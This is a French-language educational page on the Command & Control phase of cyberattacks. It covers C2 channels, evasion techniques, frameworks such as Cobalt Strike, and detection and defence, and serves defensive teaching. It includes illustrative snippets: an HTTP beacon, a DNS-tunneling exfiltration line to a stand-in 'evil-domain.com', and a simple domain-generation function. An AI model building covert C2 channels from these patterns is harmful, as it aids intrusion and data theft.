Aller au contenu

Phase 6 - Command & Control (C2)

Mise à jour :

Après avoir installé leur implant sur le système compromis, les attaquants doivent établir un canal de communication fiable. La phase de Command & Control (C2) permet de piloter l’intrusion à distance, d’exfiltrer des données et de coordonner les actions malveillantes.

Le C2 est le système nerveux de l’attaque : sans lui, l’implant est isolé et inutile. C’est aussi un point de détection majeur pour les défenseurs qui surveillent le trafic réseau.

Qu’est-ce que le Command & Control ?

Le Command & Control (ou C2, C&C) désigne l’infrastructure et les protocoles utilisés par l’attaquant pour :

  • Envoyer des commandes aux systèmes compromis
  • Recevoir des données exfiltrées
  • Mettre à jour les implants avec de nouvelles fonctionnalités
  • Coordonner les actions sur plusieurs machines compromises

L’architecture C2 comprend généralement :

  1. Le serveur C2 : infrastructure contrôlée par l’attaquant
  2. L’implant/agent : logiciel installé sur la machine victime
  3. Le protocole : méthode de communication entre les deux

Canaux de communication C2

HTTP/HTTPS

Le protocole web est le canal C2 le plus courant car il :

  • Traverse facilement les pare-feux (ports 80/443 généralement ouverts)
  • Se fond dans le trafic web légitime
  • Peut utiliser le chiffrement TLS pour masquer le contenu
# Exemple de beacon HTTP typique
GET /api/v1/update?id=ABC123&status=ready HTTP/1.1
Host: legitimate-looking-domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

DNS Tunneling

Le protocole DNS peut transporter des données C2 :

  • Fonctionne même quand HTTP est bloqué
  • Difficile à filtrer (le DNS est essentiel)
  • Bande passante limitée mais suffisante pour le contrôle
# Données encodées dans les requêtes DNS
dGhpcyBpcyBzZWNyZXQgZGF0YQ.evil-domain.com

Protocoles alternatifs

Les attaquants sophistiqués utilisent des canaux moins surveillés :

ProtocoleAvantageInconvénient
ICMPSouvent autorisé, peu surveilléBande passante faible
DNS over HTTPSChiffré, difficile à inspecterNécessite infrastructure
WebSocketBidirectionnel, persistantPlus visible
SMTPEmails semblent légitimesLatence élevée

Canaux non conventionnels

Pour contourner les défenses avancées :

  • Réseaux sociaux : commandes cachées dans des posts Twitter/Telegram
  • Services cloud : Google Docs, Dropbox, OneDrive comme relais
  • Stéganographie : données cachées dans des images
  • Blockchain : commandes inscrites dans des transactions

Techniques d’évasion C2

Chiffrement et obfuscation

Le trafic C2 est généralement chiffré pour éviter l’inspection :

  • TLS avec certificats valides (Let’s Encrypt)
  • Chiffrement personnalisé au niveau applicatif
  • Encodage Base64, XOR, ou algorithmes propriétaires

Domain Generation Algorithms (DGA)

Les DGA génèrent automatiquement des noms de domaine :

# Exemple simplifié de DGA
import hashlib
from datetime import datetime
def generate_domain(seed, date):
data = f"{seed}{date.strftime('%Y%m%d')}"
hash = hashlib.md5(data.encode()).hexdigest()[:12]
return f"{hash}.com"

Avantage : si un domaine est bloqué, l’implant en génère un nouveau. Défense : les DGA produisent des domaines à l’apparence aléatoire, détectables par ML.

Malleable C2 Profiles

Les frameworks comme Cobalt Strike permettent de personnaliser le trafic C2 pour imiter des applications légitimes :

  • Headers HTTP identiques à Office 365
  • Timing similaire à des applications métier
  • URLs qui ressemblent à des API légitimes

Beaconing à intervalles variables

Plutôt qu’un rythme régulier (facilement détectable), les implants modernes utilisent :

  • Jitter : variation aléatoire des intervalles (±20%)
  • Sleep long : périodes d’inactivité prolongées
  • Activation sur trigger : réveil uniquement sur événement spécifique

Frameworks C2 courants

Cobalt Strike

Le framework commercial le plus utilisé (et le plus détourné) :

  • Beacon avec multiples canaux (HTTP, HTTPS, DNS, SMB)
  • Malleable C2 pour personnalisation du trafic
  • Fonctionnalités post-exploitation avancées
  • Souvent cracké et utilisé par des acteurs malveillants

Autres frameworks

FrameworkTypeCaractéristiques
MetasploitOpen sourceMeterpreter, large base d’exploits
SliverOpen sourceAlternative moderne à Cobalt Strike
Brute RatelCommercialÉvasion EDR avancée
HavocOpen sourceModulaire, communauté active
MythicOpen sourceMulti-plateforme, extensible

Détection du trafic C2

Indicateurs réseau

Signes d’activité C2 dans le trafic :

  • Beaconing régulier : connexions sortantes à intervalles fixes
  • Destinations inhabituelles : domaines récemment enregistrés, IP exotiques
  • Taille des réponses anormale : petites requêtes, grosses réponses
  • User-Agent suspect : incohérent avec l’OS ou absent
  • Certificats suspects : auto-signés, domaines générés

Outils de détection

Analyse réseau :
- Zeek (anciennement Bro) : analyse protocolaire
- Suricata : IDS/IPS avec règles C2
- RITA : détection de beaconing
Analyse DNS :
- PassiveDNS : historique des résolutions
- DNSFilter : blocage de domaines malveillants
- Détection DGA par ML

Threat Intelligence

Intégrer des feeds de renseignement :

  • Domaines et IP C2 connus
  • Hashs d’implants identifiés
  • Règles YARA pour le trafic C2
  • Indicateurs MITRE ATT&CK

Comment se protéger ?

Segmentation réseau

Limiter les communications sortantes :

  • Proxy obligatoire pour le trafic web
  • Filtrage DNS avec résolveurs internes
  • Blocage des protocoles non essentiels en sortie
  • Micro-segmentation pour isoler les workloads

Inspection du trafic

Voir ce qui transite sur le réseau :

  • Déchiffrement TLS au niveau du proxy (avec précautions légales)
  • Deep Packet Inspection pour les protocoles connus
  • Analyse comportementale du trafic
  • Détection d’anomalies statistiques

Sinkholing et redirection

Techniques défensives actives :

  • DNS sinkhole : rediriger les domaines suspects vers un serveur interne
  • Blackhole routing : supprimer le trafic vers des IP malveillantes
  • Honey tokens : fausses données pour détecter l’exfiltration

EDR et NDR

Solutions complémentaires :

  • EDR : visibilité sur les endpoints, détection des implants
  • NDR : visibilité réseau, détection du trafic C2
  • XDR : corrélation des deux pour une vue complète

À retenir

  1. Le C2 est le lien vital entre l’attaquant et les systèmes compromis — le couper isole l’intrusion

  2. HTTP/HTTPS domine car il traverse les pare-feux et se fond dans le trafic légitime

  3. Les techniques d’évasion évoluent — les défenses statiques (blocage de domaines) ne suffisent plus

  4. Le beaconing est détectable — surveiller les patterns de connexions sortantes régulières

  5. La segmentation réseau complique significativement les communications C2

  6. Combiner EDR et NDR offre une visibilité complète (endpoint + réseau)

Liens utiles